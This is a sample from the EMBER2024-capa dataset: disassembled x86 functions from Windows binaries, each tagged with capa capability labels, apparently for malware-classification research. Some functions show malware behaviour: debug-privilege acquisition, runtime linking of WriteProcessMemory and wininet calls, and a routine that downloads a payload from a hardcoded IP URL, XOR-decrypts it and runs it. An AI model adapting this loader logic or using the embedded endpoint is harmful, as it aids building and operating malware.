joyce8/EMBER2024-capa huggingface dataset:
Function at 0xd02250
Capabilities:
Compare security identifiers

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0xd16808
push 0xd06288
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x28], ebx
xor esi, esi
mov dword [ebp - 0x20], esi
mov byte [ebp - 0x24], bl
mov dword [ebp - 4], ebx
mov byte [ebp - 0x34], bl
mov byte [ebp - 0x33], bl
mov byte [ebp - 0x32], bl
mov byte [ebp - 0x31], bl
mov byte [ebp - 0x30], bl
mov byte [ebp - 0x2f], 5
lea eax, [ebp - 0x1c]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0x12
push 1
lea ecx, [ebp - 0x34]
push ecx
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0xd02329
lea edx, [ebp - 0x28]
push edx
push 8
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0xd02329
mov dword [ebp - 0x2c], ebx
lea eax, [ebp - 0x2c]
push eax
push ebx
push ebx
push 1
mov ecx, dword [ebp - 0x28]
push ecx
mov edi, dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
call edi
mov edx, dword [ebp - 0x2c]
push edx
call fcn.00d051d3
add esp, 4
mov esi, eax
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x20], esi
cmp esi, ebx
je 0xd02329
lea eax, [ebp - 0x2c]
push eax
mov ecx, dword [ebp - 0x2c]
push ecx
push esi
push 1
mov edx, dword [ebp - 0x28]
push edx
call edi
test eax, eax
je 0xd02329
mov eax, dword [ebp - 0x1c]
push eax
mov ecx, dword [esi]
push ecx
call dword [sym.imp.ADVAPI32.dll_EqualSid]
neg eax
sbb eax, eax
neg eax
mov byte [ebp - 0x24], al
jmp 0xd0232c
mov al, byte [ebp - 0x24]
mov dword [ebp - 4], 0xffffffff
call fcn.00d02351
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0xd02d20
Capabilities:
Query or enumerate registry value

Disassembly:
push ecx
mov edx, dword [esp + 8]
push esi
mov esi, dword [esp + 0x10]
lea eax, [esp + 4]
push eax
mov eax, dword [ecx + 4]
push esi
push 0
push 0
push edx
push eax
mov dword [esp + 0x1c], 8
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0xd02d58
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 0x18]
mov dword [esi], ecx
mov dword [esi + 4], edx
pop esi
pop ecx
ret 0x10

Function at 0xd02d60
Capabilities:
Query or enumerate registry value

Disassembly:
mov edx, dword [esp + 4]
push esi
mov esi, dword [esp + 0xc]
lea eax, [esp + 0x10]
push eax
mov eax, dword [ecx + 4]
push esi
push 0
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0xd02d94
mov eax, dword [esp + 0x14]
test eax, eax
je 0xd02d94
push eax
push esi
call fcn.00d0520b
add esp, 8
pop esi
ret 0x10

Function at 0xd02da0
Capabilities:
Query or enumerate registry value

Disassembly:
mov edx, dword [esp + 4]
sub esp, 0x24
lea eax, [esp + 0x28]
push eax
mov eax, dword [ecx + 4]
push 0x20019
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0xd02e22
push ebx
mov ebx, dword [esp + 0x30]
push esi
xor esi, esi
test ebx, ebx
jbe 0xd02e15
push ebp
mov ebp, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push edi
mov edi, dword [esp + 0x40]
push esi
lea ecx, [esp + 0x18]
push 0xd1b320
push ecx
mov dword [esp + 0x1c], 4
call fcn.00d04dff
mov ecx, dword [esp + 0x44]
add esp, 0xc
lea edx, [esp + 0x10]
lea eax, [esp + 0x14]
push edx
push edi
push 0
push 0
push eax
push ecx
call ebp
inc esi
add edi, 4
cmp esi, ebx
jb 0xd02dda
pop edi
pop ebp
mov edx, dword [esp + 0x30]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
pop ebx
add esp, 0x24
ret 0xc

Function at 0xd02e30
Capabilities:
Query or enumerate registry value

Disassembly:
mov edx, dword [esp + 4]
sub esp, 0x28
lea eax, [esp + 0x2c]
push eax
mov eax, dword [ecx + 4]
push 0x20019
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0xd02ec2
push ebp
mov ebp, dword [esp + 0x34]
push esi
xor esi, esi
test ebp, ebp
jbe 0xd02eb5
push ebx
mov ebx, dword [esp + 0x40]
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push esi
lea ecx, [esp + 0x1c]
push 0xd1b320
push ecx
mov dword [esp + 0x1c], 4
call fcn.00d04dff
add esp, 0xc
lea edx, [esp + 0x10]
lea eax, [esp + 0x14]
lea ecx, [esp + 0x18]
push edx
mov edx, dword [esp + 0x40]
push eax
push 0
push 0
push ecx
push edx
call edi
test eax, eax
jne 0xd02eab
mov ax, word [esp + 0x14]
mov word [ebx], ax
inc esi
add ebx, 2
cmp esi, ebp
jb 0xd02e6a
pop edi
pop ebx
mov ecx, dword [esp + 0x34]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
pop ebp
add esp, 0x28
ret 0xc
Function at 0xd03000
Capabilities:
Get file version info

Disassembly:
push ecx
push ebx
mov ebx, dword [esp + 0xc]
push ebp
push esi
lea eax, [esp + 0xc]
push edi
push eax
push ebx
call sub.VERSION.dll_GetFileVersionInfoSizeW
mov esi, eax
test esi, esi
je 0xd03131
push esi
call fcn.00d06145
add esp, 4
mov edi, eax
push edi
push esi
push 0
push ebx
call sub.VERSION.dll_GetFileVersionInfoW
push 0
push 0x80
push 3
push 0
push 0
push 0xc0000000
push ebx
call fcn.00cf5080
mov ebp, eax
add esp, 0x1c
cmp ebp, 0xffffffff
je 0xd03131
push 0
push ebp
call fcn.00cf53a0
push 0
push 0
push 0
push 4
push 0
push ebp
mov ebx, eax
call fcn.00cf5260
add esp, 0x20
mov dword [esp + 0x18], eax
test eax, eax
jne 0xd0308b
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
push 0
push 0
push 0
push 6
push eax
call fcn.00cf52f0
mov esi, eax
add esp, 0x14
test esi, esi
je 0xd03121
push 0xd1b918
push edi
call fcn.00d043f0
push eax
push ebx
push esi
call fcn.00d02f60
push 0xd1b8f8
push edi
call fcn.00d043f0
push eax
push ebx
push esi
call fcn.00d02f60
push 0xd1b8d8
push edi
call fcn.00d043f0
push eax
push ebx
push esi
call fcn.00d02f60
push 0xd1b8c0
push edi
call fcn.00d043f0
add esp, 0x44
push eax
push ebx
push esi
call fcn.00d02f60
push 0xd1b8a0
push edi
call fcn.00d043f0
push eax
push ebx
push esi
call fcn.00d02f60
push 0xd1b888
push edi
call fcn.00d043f0
push eax
push ebx
push esi
call fcn.00d02f60
add esp, 0x34
push esi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov ecx, dword [esp + 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ecx
call esi
push ebp
call esi
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0xd041b0
Capabilities:
Acquire debug privileges

Disassembly:
push ecx
lea eax, [esp]
mov dword [esp], 0
push eax
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [esp]
push 1
push str.SeBackupPrivilege
push ecx
call fcn.00d04140
mov edx, dword [esp + 0xc]
push 1
push str.SeDebugPrivilege
push edx
call fcn.00d04140
mov eax, dword [esp + 0x18]
push 1
push str.SeRestorePrivilege
push eax
call fcn.00d04140
mov ecx, dword [esp + 0x24]
push 1
push str.SeSecurityPrivilege
push ecx
call fcn.00d04140
mov edx, dword [esp + 0x30]
add esp, 0x30
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
pop ecx
ret

Function at 0xd04bfa
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
lea eax, [ebp - 4]
push eax
push 0x20019
xor esi, esi
push esi
push str.CLSIDADB880A6_D8FF_11CF_9377_00AA003B7A11InprocServer32
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0xd04c50
lea eax, [ebp - 8]
push eax
push dword [ebp + 8]
mov dword [ebp - 8], 0x104
push esi
push esi
push 0xd1687c
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0xd04c43
inc esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
jmp 0xd04c52
xor eax, eax
pop esi
leave
ret 4
Function at 0x100026d0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x1000d0c8]
jne 0x100026da
repz ret
jmp fcn.10003b48

Function at 0x10006482
Capabilities:
Contain obfuscated stackstrings

Disassembly:
xor eax, esi
inc ebp
wait
xor eax, 0x349c45c6
mov byte [ebp - 0x63], 0x20
mov byte [ebp - 0x62], 0x2d
mov byte [ebp - 0x61], 0x11
mov byte [ebp - 0x60], 0x33
mov byte [ebp - 0x5f], 0x2e
mov byte [ebp - 0x5e], 0x35
mov byte [ebp - 0x5d], 0x24
mov byte [ebp - 0x5c], 0x22
mov byte [ebp - 0x5b], 0x35
mov byte [ebp - 0x5a], 0x41
call fcn.100060bc
push eax
push esi
push dword [ebp + 8]
call fcn.10006071
mov dword [ebp - 0xbc], eax
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x2c], bl
push eax
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10636058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x106361a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x1063607e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x1063606a
add dl, dl
jne 0x10636089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x106360dc
xor eax, eax
add dl, dl
jne 0x10636096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x1063617d
add dl, dl
jne 0x106360a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x106360b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x106360bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x106360c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x106360d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x10636075
mov eax, 1
add dl, dl
jne 0x106360ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x106360f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x106360e1
sub eax, ebx
mov ebx, 1
jne 0x10636128
mov ecx, 1
add dl, dl
jne 0x1063610e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x10636119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x10636105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x10636075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x1063613f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1063614a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x10636136
cmp eax, 0x7d00
jae 0x1063616d
cmp eax, 0x500
jb 0x10636168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x10636075
cmp eax, 0x7f
ja 0x10636170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x10636075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x1063619e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x10636075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x1004348
Capabilities:
Get file size
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
xor ebx, ebx
cmp dword [ebp + 0xc], ebx
mov dword [ebp - 4], ebx
je 0x1004409
cmp dword [ebp + 0x10], ebx
je 0x1004409
push ebx
push ebx
push 3
push ebx
push 3
push 0x80000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp + 8], eax
jne 0x100438d
mov dword [ebp - 4], 0x80040116
jmp 0x10043fd
push esi
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
cmp esi, 0xffffffff
jne 0x10043a6
mov dword [ebp - 4], 0x80040116
jmp 0x10043f5
push edi
push esi
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edi, eax
cmp edi, ebx
jne 0x10043bf
mov dword [ebp - 4], 0x8007000e
jmp 0x10043f4
push ebx
lea eax, [ebp - 8]
push eax
push esi
push edi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x10043dc
mov dword [ebp - 4], 0x80040116
jmp 0x10043f4
cmp esi, dword [ebp - 8]
je 0x10043ea
mov dword [ebp - 4], 0x80004005
jmp 0x10043f4
mov eax, dword [ebp + 0xc]
mov dword [eax], edi
mov eax, dword [ebp + 0x10]
mov dword [eax], esi
pop edi
mov eax, dword [ebp + 8]
cmp eax, ebx
pop esi
je 0x1004404
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 4]
jmp 0x100440e
mov eax, 0x80070057
pop ebx
leave
ret 0xc

Function at 0x10125da
Capabilities:
Resolve function by parsing pe exports

Disassembly:
lea edi, [ebx]
add esi, dword [edx + 0x24]
add edi, dword [edx + 0x1c]
lea esi, [esi + ecx*2]
jmp 0x10126df
mov eax, ebx
add eax, dword [ebx + 0x3c]
add edx, dword [eax + 0x78]
jmp 0x1012784
sub dword [esp], eax
lea edi, [edi + 1]
pop eax
cmp byte [edi], 1
ja 0x101259a
jmp 0x10125fc
push 0
pop eax
imul eax, eax, 0xf
push eax
movzx eax, byte [edi]
jmp 0x1012521
ret
mov edx, ebx
mov esi, ebx
jmp 0x1012504
xor eax, 0xda68280a
sbb eax, dword [esp + 4]
jne 0x101278a
lea esi, [ebx]
jmp 0x100da00
inc ecx
cmp ecx, dword [edx + 0x18]
lea edi, [eax + ebx]
je 0x10125b0
jmp 0x1012597
push ebx
movzx eax, word [esi]
pop esi
add esi, dword [edi + eax*4]
jmp 0x101273f
ret 4
push 0xffffffffffffffff
add esi, dword [edx + 0x20]
pop ecx
lodsd eax, dword [esi]
jmp 0x101265f
Function at 0x4011e0
Capabilities:
Hide graphical window

Disassembly:
push esi
push 0x7f02
mov esi, dword [esp + 0xc]
push 0
mov dword [0x40488c], esi
call dword [sym.imp.USER32.dll_LoadCursorA]
mov dword [0x404890], eax
test eax, eax
jne 0x401207
xor eax, eax
pop esi
ret 8
push 0
push esi
push 0
push 0
push 0
push 0x80000000
push 0
push 0x80000000
push 0xcf0000
push str.Sentinel_Driver_Startup_Program
push str.Sentstrt
push 0
call dword [sym.imp.USER32.dll_CreateWindowExA]
mov esi, eax
test esi, esi
jne 0x40123f
xor eax, eax
pop esi
ret 8
push 0
push esi
call dword [sym.imp.USER32.dll_ShowWindow]
push esi
call dword [sym.imp.USER32.dll_UpdateWindow]
push 0
push 0
push 3
push 0
push 0
push 0
push 0x4011c0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
jne 0x401273
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x40127a
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
call dword [sym.imp.USER32.dll_PostQuitMessage]
mov eax, 1
pop esi
ret 8

Function at 0x401290
Capabilities:
Accept command line arguments
Query environment variable
Terminate process

Disassembly:
mov eax, dword fs:[0]
push ebp
mov ebp, esp
push 0xffffffffffffffff
push section..rdata
push 0x401e48
push eax
mov dword fs:[0], esp
sub esp, 0x60
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x40407c], eax
mov al, ah
and eax, 0xff
mov dword [0x404088], eax
mov eax, dword [0x40407c]
shr dword [0x40407c], 0x10
and eax, 0xff
mov dword [0x404084], eax
shl eax, 8
add eax, dword [0x404088]
mov dword [0x404080], eax
call fcn.00401d9e
mov dword [ebp - 4], 0
call fcn.00401cb0
call fcn.00401ca5
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov dword [0x404bac], eax
call fcn.00401819
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStrings]
mov dword [0x404054], eax
call fcn.0040174e
call fcn.00401410
mov esi, dword [0x404bac]
mov al, byte [esi]
cmp al, 0x22
jne 0x40134e
mov al, byte [ebp - 0x28]
inc esi
mov al, byte [esi]
test al, al
je 0x401346
cmp al, 0x22
jne 0x40133b
cmp byte [esi], 0x22
jne 0x401358
inc esi
jmp 0x401358
cmp al, 0x20
jbe 0x401358
inc esi
cmp byte [esi], 0x20
ja 0x401352
cmp byte [esi], 0
je 0x401368
cmp byte [esi], 0x20
ja 0x401368
inc esi
cmp byte [esi], 0
jne 0x40135d
mov dword [ebp - 0x44], 0
lea eax, [ebp - 0x70]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
test byte [ebp - 0x44], 1
mov eax, 0xa
je 0x401388
movzx eax, word [ebp - 0x40]
push eax
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call main
push eax
call fcn.00401440
jmp 0x4013c4
add esp, 4
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x10]
pop edi
mov dword fs:[0], eax
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401462
Capabilities:
Terminate process

Disassembly:
mov dword [0x4040b4], 1
cmp dword [esp + 8], 0
push ebx
push esi
mov ebx, dword [esp + 0x14]
mov byte [0x4040b0], bl
jne 0x4014be
cmp dword [0x404ba8], 0
je 0x4014ac
mov esi, dword [0x404ba0]
sub esi, 4
cmp dword [0x404ba8], esi
ja 0x4014ac
mov eax, dword [esi]
test eax, eax
je 0x4014a1
call eax
sub esi, 4
cmp dword [0x404ba8], esi
jbe 0x401499
push 0x404014
push 0x404010
call fcn.004014e1
add esp, 8
push 0x40401c
push 0x404018
call fcn.004014e1
add esp, 8
test ebx, ebx
jne 0x4014de
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_ExitProcess]
pop esi
pop ebx
ret
Function at 0x4031c0
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push esi
push 0
call fcn.004031a0
add esp, 4
push eax
call fcn.004122f0
add esp, 4
push str.Kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x4031f4
cmp dword [ebp - 4], 0xffffffff
jne 0x4031f9
jmp 0x4032dc
push str.VirtualAlloc
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x476590], eax
push str.VirtualProtect
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x476588], eax
push str.WriteProcessMemory
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x476594], eax
push str.wininet.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x40324f
cmp dword [ebp - 8], 0xffffffff
jne 0x403254
jmp 0x4032dc
push str.InternetOpenW
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x476598], eax
push str.InternetOpenUrlW
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x476580], eax
push str.InternetReadFile
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x47657c], eax
push 0x4711b0
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x476584], eax
mov eax, dword [0x47658c]
xor edx, edx
mov ecx, 4
div ecx
test edx, edx
jne 0x4032dc
call fcn.004122b0
cdq
mov ecx, 0x3e8
idiv ecx
mov esi, edx
call fcn.004122b0
cdq
mov ecx, 0x64
idiv ecx
add esi, edx
mov dword [0x47658c], esi
jmp 0x4032a4
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x403740
Capabilities:
Create a process with modified i/o handles and window
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
mov eax, dword [0x474004]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x64], 0xc
mov dword [ebp - 0x60], 0
mov dword [ebp - 0x5c], 1
mov dword [ebp - 0x48], 0x44
xor eax, eax
mov word [ebp - 0x18], ax
mov dword [ebp - 0x1c], 0x101
lea ecx, [ebp - 0x58]
push ecx
lea edx, [ebp - 0x48]
push edx
push 0
push 0
push 0
push 1
push 0
push 0
mov eax, dword [ebp + 8]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x4037a1
xor eax, eax
jmp 0x4037ba
mov ecx, dword [ebp - 0x54]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp - 0x58]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00406930
mov esp, ebp
pop ebp
ret

Function at 0x403850
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x474004]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x474aa0]
add eax, 1
mov dword [0x474aa0], eax
lea ecx, [ebp - 8]
push ecx
push 0
push 0
push 0x4037d0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 0xc], eax
push 0x1f4
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea eax, [ebp - 8]
push eax
push 0
lea ecx, [ebp - 0xc]
push ecx
push 0x4037f0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 0xc], eax
push 0xffffffffffffffff
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 0x14], 0x392defba
mov eax, dword [ebp + 0x10]
xor eax, dword [ebp - 0x14]
mov dword [ebp + 0x10], eax
je 0x4038d6
cmp dword [ebp + 0x10], 0xffffffff
jne 0x4038df
mov ecx, dword [ebp + 0x10]
xor ecx, dword [ebp - 0x14]
mov dword [ebp + 0x10], ecx
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x10], 0
jmp 0x4038f8
mov edx, dword [ebp - 0x10]
add edx, 1
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp + 0xc]
jae 0x40394e
mov ecx, dword [ebp + 0x10]
shr ecx, 1
mov edx, dword [ebp + 0x10]
and edx, 1
shl edx, 0x1f
or ecx, edx
mov dword [ebp + 0x10], ecx
mov ecx, dword [ebp - 0x10]
add ecx, 1
mov eax, dword [ebp + 0x10]
xor edx, edx
div ecx
add edx, dword [ebp + 0x10]
mov dword [ebp + 0x10], edx
mov eax, dword [ebp + 0x10]
xor edx, edx
mov ecx, 0x100
div ecx
movzx edx, dl
mov dword [ebp - 0x18], edx
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0x10]
movzx ecx, byte [eax]
xor ecx, dword [ebp - 0x18]
mov edx, dword [ebp + 8]
add edx, dword [ebp - 0x10]
mov byte [edx], cl
jmp 0x4038ef
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00406930
mov esp, ebp
pop ebp
ret
Function at 0x403e40
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x474004]
xor eax, ebp
mov dword [ebp - 4], eax
mov byte [ebp - 0x18], 0x63
mov byte [ebp - 0x17], 0x7c
mov byte [ebp - 0x16], 0x77
mov byte [ebp - 0x15], 0x7b
mov byte [ebp - 0x14], 0xf2
mov byte [ebp - 0x13], 0x6b
mov byte [ebp - 0x12], 0x6f
mov byte [ebp - 0x11], 0xc5
mov byte [ebp - 0x10], 0x30
mov byte [ebp - 0xf], 1
mov byte [ebp - 0xe], 0x67
mov byte [ebp - 0xd], 0x2b
mov byte [ebp - 0xc], 0xfe
mov byte [ebp - 0xb], 0xd7
mov byte [ebp - 0xa], 0xab
mov byte [ebp - 9], 0x76
xor eax, eax
mov dword [ebp - 8], eax
lea ecx, [ebp - 0x18]
push ecx
push 0xa
call fcn.00403960
add esp, 8
call fcn.004031c0
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x28], 0
cmp dword [ebp - 0x28], 2
jne 0x403eea
push str.please_input_correct_params
call fcn.00401670
add esp, 4
mov dword [ebp - 0x20], 0
lea edx, [ebp - 0x20]
push edx
push 0x471320
call fcn.004016e0
add esp, 8
jmp 0x403f14
cmp dword [ebp - 0x28], 0xa
jne 0x403eff
push str.this_is_a_test
call fcn.00401670
add esp, 4
jmp 0x403f14
lea eax, [ebp - 0x1c]
push eax
lea ecx, [ebp - 0x24]
push ecx
push str.http:__207.148.118.157:80_query_notice
call fcn.004032f0
add esp, 0xc
cmp dword [ebp - 0x1c], 0
jne 0x403f1c
jmp 0x403f5b
push 0x20486fbc
mov edx, dword [ebp - 0x1c]
push edx
mov eax, dword [ebp - 0x24]
add eax, dword [0x47658c]
push eax
call fcn.00403850
add esp, 0xc
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 0x1c]
push edx
mov eax, dword [ebp - 0x24]
add eax, dword [0x47658c]
push eax
call fcn.00403d40
call fcn.004039c0
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00406930
mov esp, ebp
pop ebp
ret

Function at 0x410f50
Capabilities:
Get thread local storage value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
call fcn.00410b70
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x410f82
mov eax, dword [ebp - 4]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 0xc]
mov dword [ebp - 8], edx
mov ecx, dword [ebp - 8]
call dword [0x455170]
call dword [ebp - 8]
jmp 0x410f8c
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov esp, ebp
pop ebp
ret